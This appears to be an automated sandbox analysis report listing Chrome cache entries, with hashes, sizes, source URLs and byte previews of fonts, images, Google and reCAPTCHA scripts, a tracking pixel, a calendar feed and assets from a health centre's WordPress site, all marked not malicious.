SSDEEP:	48:2ocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODX4r+Pw1ZY:2Z/I09Da01l+gmkyTt6Hk8nToceZY
MD5:	665D987811EAEAFFF44DFC8311BC1B71
SHA1:	73C317EC20112D6833E7ADC64DBD4306ECCDBA05
SHA-256:	046B106B352C268B41C4A818E52DEC89B4153278C09B64DA768BDE820C7DE61D
SHA-512:	7A764F71774E5E9258EDFBDB852D50CAD3AD2F7371C2C7A9082E83336583C8C8155CB0F4E1166199DBA48303A151956F531F173B2C3FA37AB2C81555591A02DD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....pHYs..a...a... U....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 17368, version 1.0
Category:	downloaded
Size (bytes):	17368
Entropy (8bit):	7.988156056665537
Encrypted:	false
SSDEEP:	384:sPhuPFjxt/qdIwpOOYKXYRbCikSoGsGkUULZ:sPSFL/8O1vWVSZkj
MD5:	ABE083D96B58EB02ADA8B7C30D7B09F2
SHA1:	61447D66D13A8C8F4335696777A85C438C46F749
SHA-256:	DB0424FB67FB52E7E538490240CC7FB9C05AA076333A4968F3DEE30B825DABF9
SHA-512:	D17E095A6F0871FA0C9CDDDE08F87A63589574EB23F3DCA7430EA23FD6FF5C3523E9807DC0ED0CF9C874E1A37046461E79EE47E1E9AA64513FFF25BDD48C3696
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xIIzI.woff2
Preview:	wOF2......C........`..Cs.........................d..d..^.`.. .R..<.....X..%........6.$.... .... ..D.....#n.@T..cd .8@a.'#.5{p......1D....&...B.D3i....,:...../.a.5..''.v....$XK....0..g.;9..'.G.....>s.>..`.........E..b.M.......I....)b$8...&(...(.&~...C..{.M..+....p..SDc..j,.. .hc..c.l..38..8........7#r....Z.....3...X'Mc...I.P.._."e.V....}ke...,..2.0z...P...S....pZ6}T,.....z.^.z... .G,.......]c83v..L4..m...].......`.{o.U`.U8cN-2}..."....Ar..w........_.l...#.....F\H.._./.i...I....:...fyf..H..Ruv.:w~W:..mo..{._hl../..1/ci.V..`qM....b.@5.3..t....".u..g..;O<.RB.M..CVj.t...?.......!C.. I.....W../.Z.AG.6.)....xc..............J....U..:.3.'...G....E..9..p...;Xs...X..>.a1`....q`...{%....$....v...Uw... ..C..!...B.$..yd]B...J....Bb...x.8G6#>'..3H.P .L..R.9.4..f.%....<...jd...4#V.....>.......8..P..@V.q..y.......z..n....0...w ...ao.Sr.g.5....r.G..>w....J.y.y..'.>.<....q.N....,~&...D....._....$.9.:v..Vf...u..6....]HR....."..>H_F.>.X...YA..[.h.....A..2..

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	309248
Entropy (8bit):	5.4931665893751935
Encrypted:	false
SSDEEP:	6144:xh4yjgx7AyigY0zPYYMrmgmETVFzrpQqr3K9zwrcRjI0UIklArR:xhjjKpiKTR
MD5:	6444AAFE6FB5235F1ABE3BBC4C601CD3
SHA1:	739CA8AD996693505C87E1D683FE6973C7A07796
SHA-256:	F8DC91F5244AC28A3CEA99AD5B7056F0F067C70E4D61402A226AE1C3603A7D6C
SHA-512:	884814A46296C5692B54A6F05FB3D093C54A2A1B10DB9D187C486218F40CD7A4333AF00E74C777E81E287F99F7BD2ADA3BD8B7AC33496AE44C0BE4A991E88343
Malicious:	false
Reputation:	low
URL:	https://acsbapp.com/apps/app/dist/js/app.js
Preview:	(()=>{var e,t,i,s,n={521:(e,t,i)=>{i.chunkedI18n__.publicPath=i.p,i.chunkedI18n__.setInitialDictionary({"accesswidget-ui":{openWidget:"Open accessiBe: accessibility options, statement and help",SR_TRIGGER_BUTTON:"Use Website In a Screen-Reader Mode",SKIP_LINKS:"Skip Links",SKIP_NAVIGATION:"Click to skip navigation",SKIPLINK_CONTENT:"Skip to Content",SKIPLINK_MENU:"Skip to Menu",SKIPLINK_FOOTER:"Skip to Footer",PROCESSING_DATA_PLEASE_WAIT:"Processing the data, please give it a few seconds..."},"preloader.screenReaderGreetForWindows":"Press Alt+1 for screen-reader mode, Alt+0 to cancel","preloader.screenReaderGreetForMac":"Press Option+1 for screen-reader mode, Option+0 to cancel","preloader.screenReaderGreetForTouchDevice":"For screen-reader mode - click the first button of the website","preloader.screenReaderFeedback":"Accessibility Screen-Reader Guide, Feedback, and Issue Reporting",PRINT:"Print",REQUIRED_FIELD:"Required field",BREADCRUMBS:"Breadcrumbs",ACCESS_MODE_IS_ON:"Screen-reade

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2124)
Category:	downloaded
Size (bytes):	325611
Entropy (8bit):	5.5233999895423835
Encrypted:	false
SSDEEP:	6144:l9y0krrBj/k2V72JetI/sZnGq7p9+Of1kIpAzwCuPQBmgC:3yzrhn+etI/GB7TVFX
MD5:	5E1F51F81D8CCC6A9416F2343BB51285
SHA1:	263266F4B4808A8CF944854AFDE4A8B928336AC9
SHA-256:	D7C8CAD0D955B575B2210F6ACBE90B948313F78B49B1A6B3804615DE4E198AC3
SHA-512:	F152D02B1B2D1BB27476538094BAFE9AF0CB885FCD347B01CD1392ECB9576FABBB87459A2B16E81DDAA386C5A56046B7FD195718F5DD4B448C1708B90573EEB3
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/_/scs/abc-static/_/js/k=gapi.lb.en.JisoxTPHVRs.O/m=client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo9VOmUKkb8FAwL65OiDUU4etqWcRg/cb=gapi.loaded_0?le=scs
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);.var ba,ca,da,na,pa,va,wa,za;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=da(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)re

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	265336
Entropy (8bit):	7.8463825633493185
Encrypted:	false
SSDEEP:	6144:Xrt2gYiRFV72f6xnPocN9yS/3ujwyM2R5/jUUjfa:XPqu3pxyM2YUjfa
MD5:	BC9E1757CA529A0BB75FBD891FBEC67F
SHA1:	88A763C38E820BC5CC3CE40DE88A63869FD6E571
SHA-256:	2799DCBCF3810D59BAF628AA637E2989F7E961648CD20D111CC0BF99DBBD5801
SHA-512:	2F63644E38324491C73CFBDA3E1098BC1669765A39837594E89181115147F93130BF2B280E723C4BA31B34094543C9B1381569BA770F141F162D0A902AF0BC12
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx...{.\.}'..T...H. ..<cA..b..........%.q..)KT..Fr..v........^.d...$..S....o.e{..X..Fh........,....W.p..B.....t..Tu..8......M...}.s.=..........................`.......................`.......................`.......................`.......................`.............8.....U...!...N._...wS....0./{..l.........5!..c.a.....h\|4Z.}.......F.......Wd.........,.w.....h5'.-....L'.....@_+.<..6...j...!l.....@.......}...U1,.BX...&c.V...s.....p........}....x. \|.....".7.s.............(>FB....O..7.B..V4..,..!.V..:..!.5.Vsb......`P.`....=...l...B..fp...`.Va..T..Fgx?...U.Vs\|...... ......zJ....~[;.uO..66Z..~.(.<..t.db.k.{....`..`....=...lJ.p4Y.fF.........t.......`......j.l.......u[.e.h5'....f.6!,....."......Z..#e.jE..._.%...2....V.t.BX.....B.......2\|5.p..Lh..2\|5.P.\|.a..".W..............m..._...0H......Z.\|M.\|...U..2.5...._..a..".c.jc.a.,_.v..6.....0........).\|].aK....jn..:...U..V.).6&.q..X......m"......,..

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.888514697598933
Encrypted:	false
SSDEEP:	48:k82xKPLcgiF4ij6UFwMjRJwEpQfb8T1LnXcYMMjLsn+:k82MLc/aij6nURJl6b64TMh
MD5:	E50CA4F55C97A518E357E609D45E8053
SHA1:	929A966C4D0F2524F0C2E367BF6E279F30762D12
SHA-256:	A8F6BF05760609E5D2706EA48CD56224B82C2CC029B7DA5A70C7B74F0CCA3974
SHA-512:	C70E106A6730509BB1E51B50BBE521E9352CDBEA19878DC446609C4DAC768398F60A87C28527574B7F69101910233B5E5473BE95A755B233E6CC0FA142142B39
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.{T.........cv..y.......Y.Ib.Brr.mCl...1m./..j.6'.....Q4Q.'... P...h...&....<..(.kwfg:wO.gYfwf...x.[..~......~..... w./.z`.E....ct.......3.,.....w..7$Sj.a....C..'......(.vi..qzp.T... .....0g...!.k.hQ...i..Cpf...b.>#...w..s{.N3...4~.J...,..0..4'....sV.<s5..(.R..............CQ........PL1..\.4..j....Hvt..$...P.Rl$5FR.5.F195.......'..#.......l5-;J9].KS...\|p.N.e.j...Y....0.4..6......Z.AA]...}..).....O..~............?.6.`..%.j..`.j.p.......u...u.............ns..~.(,\|...\.......w...y{...{8....._..TU.+bF....\..BBL.........MMf.%U.ag.x....$+.H.........q.'DKj..._...=.]..=.]Q.).`.#.G......'I9)B.Y.s.......9).........@.5....PU...V&KRN.....M..b)...a...}w..]g.A......1I.6../..\|..`.a.S.z..f......N.`.4b........Ti..6....^....&..I.(+...<..w}..N8x.V..= i[.<..z~m~./.yl...7.m&.".......).e%...Go+.l.k....D...1...<..Ii`>..r.....[.Z........]..H...l..Y.T..Zw./w....?k:..x~.)..g=.ETr...._.rb.(....mB.%...."...

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (487)
Category:	downloaded
Size (bytes):	488
Entropy (8bit):	4.841686487844174
Encrypted:	false
SSDEEP:	12:ZorFgHDWrwAfu1eEkLsFtdJdG8nGELUD4LxZr8a65wARn:pDWJfurG8Goa4UR
MD5:	2775054C068B37509E0798448F7FD32C
SHA1:	8CCB907373C30EB3B98D5A24EC92141A938F09F5
SHA-256:	484EF4268F1D679C1AE88C06FC2388D39AFC441465732617E5E2CDC2E3D418E2
SHA-512:	5423F06453EA452614E21391C098D252DDB65ABC958C02664D9B6F1BD3BAD858B396B053C57AA714391C8953F849FAC3B6ECB9AA0C4F74F4FB81C1242B485EB4
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/universal_pixel.1.1.0.js
Preview:	var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute("src", t), document.body.appendChild(i) } this.init = function (t) { if (this.sslOnly = "https:" == location.protocol, void 0 !== t && null != t && 0 != t.length) for (var e = t.length, i = this.mapIndex = 0; i < e; i++)n(t[i]) } };.

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	42567
Entropy (8bit):	5.326862575741354
Encrypted:	false
SSDEEP:	768:AxOAcAgAAAYATdJFR3B5ptsqBZb5YZrNbGuGmqHp0tE5:AxOPn7/UdJFR3B5ptsqBZb5YZrNbGuGZ
MD5:	632E5BD9AB9A78CBA06D6E623F0D51F5
SHA1:	3AAF80CC736B55D2CF7B58F1BD8BFE4FDC2DD04B
SHA-256:	E0996425D9ADC0444D8CA6C28EF3F7D5599F60BE98594ABE65D22CDD754A643F
SHA-512:	657C3D719A8F95CECA07EC692347DC7155CB416C947470B0A6FE08CEEFBBEC97F78C2E92D8664AD3A33F8E54EDD7790F95B253D024CABDBBF71A6D62BE8FA2D0
Malicious:	false
Reputation:	low
URL:	https://clients6.google.com/calendar/v3/calendars/flc9fq7tt9nlo52qhlchoscu3s@group.calendar.google.com/events?calendarId=flc9fq7tt9nlo52qhlchoscu3s%40group.calendar.google.com&singleEvents=true&eventTypes=default&eventTypes=focusTime&eventTypes=outOfOffice&timeZone=America%2FNew_York&maxAttendees=1&maxResults=250&sanitizeHtml=true&timeMin=2024-03-31T00%3A00%3A00-04%3A00&timeMax=2024-05-05T00%3A00%3A00-04%3A00&key=AIzaSyBNlYH01_9Hc5S1J9vuFmu2nUqBZJNAXxs&%24unique=gc456
Preview:	{. "kind": "calendar#events",. "etag": "\"p3309hhvvsiroa0o\"",. "summary": "MSBHC Schedule",. "description": "Schedule of the Mobile Bus",. "updated": "2024-04-10T13:49:49.480Z",. "timeZone": "America/New_York",. "accessRole": "reader",. "defaultReminders": [],. "nextSyncToken": "CMCYx__kt4UDEAAYASCUn_SqAiiUn_SqAg==",. "items": [. {. "kind": "calendar#event",. "etag": "\"3318948819022000\"",. "id": "5o1rfp2l6lgjno6m4gkdaetunf_20240424T120000Z",. "status": "confirmed",. "htmlLink": "https://www.google.com/calendar/event?eid=NW8xcmZwMmw2bGdqbm82bTRna2RhZXR1bmZfMjAyNDA0MjRUMTIwMDAwWiBmbGM5ZnE3dHQ5bmxvNTJxaGxjaG9zY3Uzc0Bn&ctz=America/New_York",. "created": "2022-08-02T21:06:49.000Z",. "updated": "2022-08-02T21:06:49.511Z",. "summary": "Turkey Run Elem_8:00am-11:00am",. "creator": {. "email": "mobilevpchc@gmail.com". },. "organizer": {. "email": "flc9fq7tt9nlo52qhlchoscu3s@group.calendar.google.com",. "displayName": "MSBHC Schedule",. "self": true. },.

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1250
Entropy (8bit):	4.741779995005225
Encrypted:	false
SSDEEP:	12:UxnBeiYgPW1KZbKlrjN+Lus4/LLERvrv1eLiTeXfLAR5G/LLERvGLIYOfSOnNbQ/:kBygGKUx24/LRMc/L3hONbZZ/L3VNtoD
MD5:	EF73587F46D3DA97BA549A7CF60C2FA7
SHA1:	4E72BFD2C7CBA33F5D150341542A8AE0B8B0CC4C
SHA-256:	F7196D087E19026B0C24BE8BAC98F1B8325950351B827CCCF086430CA3215B7C
SHA-512:	493CAE80C3F0821F74AAA040DC88F76BD274E3F8B90D23538C6EC0B9A46AC210ABFC1FB1B39FC42E7E99FCB5B01DA77EF65042E70E8FF8DD0046106CD987B633
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/style.css
Preview:	/. Theme Name: VPCHC. Author: Design On Tap. Description: A WordPress starter theme based on Bootstrap 4. Version: 5.1.0. License: MIT License. License URI: http://www.opensource.org/licenses/mit-license.php. Text Domain: crunch./...language-switch{..margin-right : 20px;..}../* Giveaway page /..giveaway-page-section > .wp-block-group__inner-container > .acf-block-column-content {. margin: 0 !important;. padding-top: 230px !important;. padding-bottom: 80px !important;.}.@media only screen and (max-width:1199px) {. .giveaway-page-section > .wp-block-group__inner-container > .acf-block-column-content {. padding-top: 60px !important;. padding-bottom: 00px !important;. }. .giveaway-page-section .acf-block-column-content h2 {. font-size: 42px;. line-height: 1.2;. }.}.@media only screen and (max-width:767px) {. / .giveaway-page-section > .wp-block-group__

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1538
Entropy (8bit):	5.121730928761434
Encrypted:	false
SSDEEP:	24:YMxPtegisERpK12prl5lR4hmP+AxaF+xAVVL+xA2sUS5wsdlAiV47L3a/:YMZizC12Jl5lR4hm38LVxxxbuMAm4na/
MD5:	6ABA559AFCF8291C518DF6FA4C481556
SHA1:	F0FDC630690835399E64D31948FC49881CF03F95
SHA-256:	53A7946C1525264F5376C9621234F8B15B5742508C8F987506144B88341D5FBE
SHA-512:	CD32DF8C232BC42D0ED0B805DEDEF3B08DC647449CB33A5D8B8CA3AA7E90947911F5FE3CAA0A9AE7A67C47A3DCDC12F3168128DFC13F50D152C2D61321AA8F81
Malicious:	false
Reputation:	low
Preview:	{"privacyUrl":"https://www.constantcontact.com/legal/customer-contact-data-notice","finePrintText":"marketing emails","companyName":"Company or Organization Name","physicalAddress":{"addressLine1":"777 S Main St","addressLine2":"Suite 100","addressLine3":null,"city":"CLINTON","stateCode":"IN","stateName":null,"postalCode":"47842","countryCode":"us"},"orgWebsite":"null","customPrivacyPolicyUrl":"null","forms":[{"name":"Inline Form Created 2024/02/20, 04:24:59 PM","type":"INLINE","status":"ACTIVE","config":"{\"language\":\"en_US\",\"contactFields\":[{\"type\":\"email_address\",\"selected\":true,\"required\":true,\"customField\":false}],\"emailLists\":[{\"id\":\"b7c927e6-cce0-11ee-840a-fa163edfbcfb\",\"label\":\"Newsletter Form\"}],\"title\":{\"text\":\"Sign up for our newsletter!\",\"color\":\"#0e1e4d\"},\"background\":{\"color\":\"#ffffff\"},\"description\":{\"text\":\"Get news from Valley Professionals in your inbox.\",\"color\":\"#0e1e4d\"},\"button\":{\"text\":\"Sign up!\",\"color\":

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	13397
Entropy (8bit):	4.34384696769037
Encrypted:	false
SSDEEP:	192:fnVko5hUqDMzYySrtFisf3fKLDMFsD60Cld9H8mUxmYTONnArdv:fTCqgbSY3
MD5:	6C164C98630B8C5BB4070A49FD89715F
SHA1:	736AB67033F061CE8AABED4FB6F106319D957046
SHA-256:	E621665022BB960E60FCBED829F30A54D28484A7E2D8E46F7E5025A06608B5BF
SHA-512:	2EE67B474E0A2A2A3A941E68343015AE20667285E51B5FDB5D3B8C5304F5F419E938CFA4849FD58890F4FCCAA566864F11DB1B1CA83D82E6E15BE75F50AAA835
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/js/scripts.js?ver=6.0.20
Preview:	/-------------------------------------------------------------------------------. * Script for onClick trigger functionality used by flag images. * Script modified from original GTranslate plugin created by Edvard Ananyan at http://edo.webmaster.am. * GTranslate Free Version is licensed under GNU/GPL license. -------------------------------------------------------------------------------/..function GLTFireEvent(lang_pair, lang_dest) {. try {. if (document.createEvent) {. var event = document.createEvent("HTMLEvents");. event.initEvent(lang_dest, true, true);. lang_pair.dispatchEvent(event). } else {. var event = document.createEventObject();. lang_pair.fireEvent('on' + lang_dest, event). }. } catch (e) {}.}..function GLTGetCurrentLang() {. var keyValue = document.cookie.match('(^\|;) ?googtrans=([^;]*)(;\|$)');. return keyValue ? keyValue[2].split('/')[2] : null;.}..function doGoogleLanguageTransl

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/info_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	518479
Entropy (8bit):	5.683759340720687
Encrypted:	false
SSDEEP:	12288:wTJtYdv7tmjTEyw+Z8ML8Vo1ukBO1N34PS+H7wIqBG7iIXXON2R+:kEcLVuN2R+
MD5:	8326C23D6B3EED35BC3E62F3294587FD
SHA1:	EDDA17E74E53E85073E5EAC9CB6BE2163DBFA23C
SHA-256:	57F03D3BA66117EDC152646341120DD3A1D7D71B9A98A3723AF5A8AE61BCB3AB
SHA-512:	F63FAEEA0ACCAC3FA74CF6168B319D901EDE869A83E7E6129158A120008E70E5B239BBBFF3159917F8AEEFCF997916A778AE21900B22035657E05AAAE9EBAAC0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15340, version 1.0
Category:	downloaded
Size (bytes):	15340
Entropy (8bit):	7.983406336508752
Encrypted:	false
SSDEEP:	384:F2gPJde0V2iGrQyD8b3k/tigCdeNqOUd47SH0tsGm:4gPVV2NQE8b3ldeNWH0Wb
MD5:	19B7A0ADFDD4F808B53AF7E2CE2AD4E5
SHA1:	81D5D4C7B5035AD10CCE63CF7100295E0C51FDDA
SHA-256:	C912A9CE0C3122D4B2B29AD26BFE06B0390D1A5BDAA5D6128692C0BEFD1DFBBD
SHA-512:	49DA16000687AC81FC4CA9E9112BDCA850BB9F32E0AF2FE751ABC57A8E9C3382451B50998CEB9DE56FC4196F1DC7EF46BBA47933FC47EB4538124870B7630036
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2
Preview:	wOF2......;........d..;..........................d..z..J.`..L.Z..<.....\..`..^...x.6.$..6. ..\|. ..8..z%......Q.{..q...FF.kd .8.(..d..).!C...Y.JA...r. ..GH8F......nW...".2&....2<..+C...p...b..SC.......J......z.-..Q..#6&1zUe../\...l.....<.....9s...E~.]B-..B.wY..o......Q..A.F..1j.......-.`P% .. ,..@1.0..~.....WWW.d.u<c{..^.R.+..w....&.........A......+C....(.N.....0.~..0.J.;.Nu..7....]..m.H.....[h.GL3....?)....c.H...2.3.}y........SXI\|..iVN'%E.D.W....r..<`....i....6;E$.....U.$j.@...._.......R2....WS...k.vz.R.'a9!^...N....h.._.....c.%."..S.2.16B...o.2}.pmU[.\|.LI....2.....OWQLO1-....s..8.(...".\|6...6R.. ..M-.zO.}w)..v..mXxX...c..3#.+.v....F`.Z;.zQ.......r,....Yo.....g.h....+.....O.3Y..)Y.8.!....elX......._.3.}k~u.{ C..H.z..FP........@...d..)T.R...L.H.J.j.@..............$...E......y...3.b...I.h u.+%.HA.\..9..8..X.!....gx...].:..V..C...._..X..!....6..)...GM:E.....O.Z.}k.;.T.k..D.k.O..D5.r..."......?..T.Q.A...CF...3g.5.Dn<.QPy..G..1.9..Q..0..

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 135 x 135, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	34112
Entropy (8bit):	7.953275159406534
Encrypted:	false
SSDEEP:	768:G3eaHUTIuTmQXNlgQbtJENSh/LKHiZVKLCNt0TJL1:G9HUMOXTgbAVLp22NiNp
MD5:	5D94F87C3C22655E14E10D1731C68B2F
SHA1:	99C190DA779574F237EA620A1AC803B5E3FBF4FC
SHA-256:	621A6618ACF4DCABD8E4B63FE21D09ED4585DCD953CF7033DAC97788C7CB349D
SHA-512:	FA128EC2618127219723BD6980FBDE3FD1E3B81A1C5420085078D7FEA50FEFF98360EBCFDDE4A8A910D19DF1EBD12E3F7C2982F88C63927D6C2AE6EB189EFF35
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/ecw-badge.png
Preview:	.PNG........IHDR.............<.J.....pHYs.................gAMA....\|.Q.... cHRM..z%..............u0...`..:....o._.F....IDATx.....0.......;..H..@....pN.&S...z0.tk.v...V.`4.,pv.s~\|..@.C..LP.K..P...h.......HX...#Rd...,Q....@....C.......%..P<d.@.1.....Z..C#....x.0......K.LH4#.....!E.,...&.OX..$.J8_.j.B...%.@...e.@...:=.(....PB).+.\.P...8...=..?.g..bLHB...i!.B.\...%8.....ZTu..8...3........\P.r.Z..LX...(.e.R.[.f.e........%]X.L....VA.C..xI.,. ....AQT.....Mc.%......`.X.s....S...4_.....g-..R.A....kj.F&)!.e.....}%....cp..n[....<.RW......Y!..M..A(.C.+$?.4...r..Z]...0.D..&.qh.`.kdbfee.d...b.P....T.....ec.f....`.....h.5..C....A...........L@....?H.? ...~~.........................5.'4q..&.....-RB..U...p..@.....%.n.... $.X....\|~h.c........................?H.B..?......C#..D.8....(\ i....D...P...AB.>....../.^.....o.?....pFhb.%.g@..._@....+Z"... ....n&.D.j<.BK.I ..bYh..I.qp.......H)..........._.....G<,.@..4A.T....JB.J...P..............._.........z......~...b...# ~.-Q.C..

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:Hd1Y:w
MD5:	FA9C17CE126A76733ACA269345EB7D47
SHA1:	F1D8AA71F281509D55041F671B1A7BD94524AAD8
SHA-256:	15F88A501BBE49A103551BA087FE6FC7E101894E71C3A74A42E8EFC07DCEC0D8
SHA-512:	DD2E08D8D294E24330DDACFCC602D5AB9C9BD65346E0C6540F599725AB711E1F1621D3939318BFC069E67CEF889B80E781DA3E935D61C26E2086DAC79428818C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkkNExrUmIJUBIFDRM0Cs4=?alt=proto
Preview:	CgkKBw0TNArOGgA=

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	128983
Entropy (8bit):	5.106135158895076
Encrypted:	false
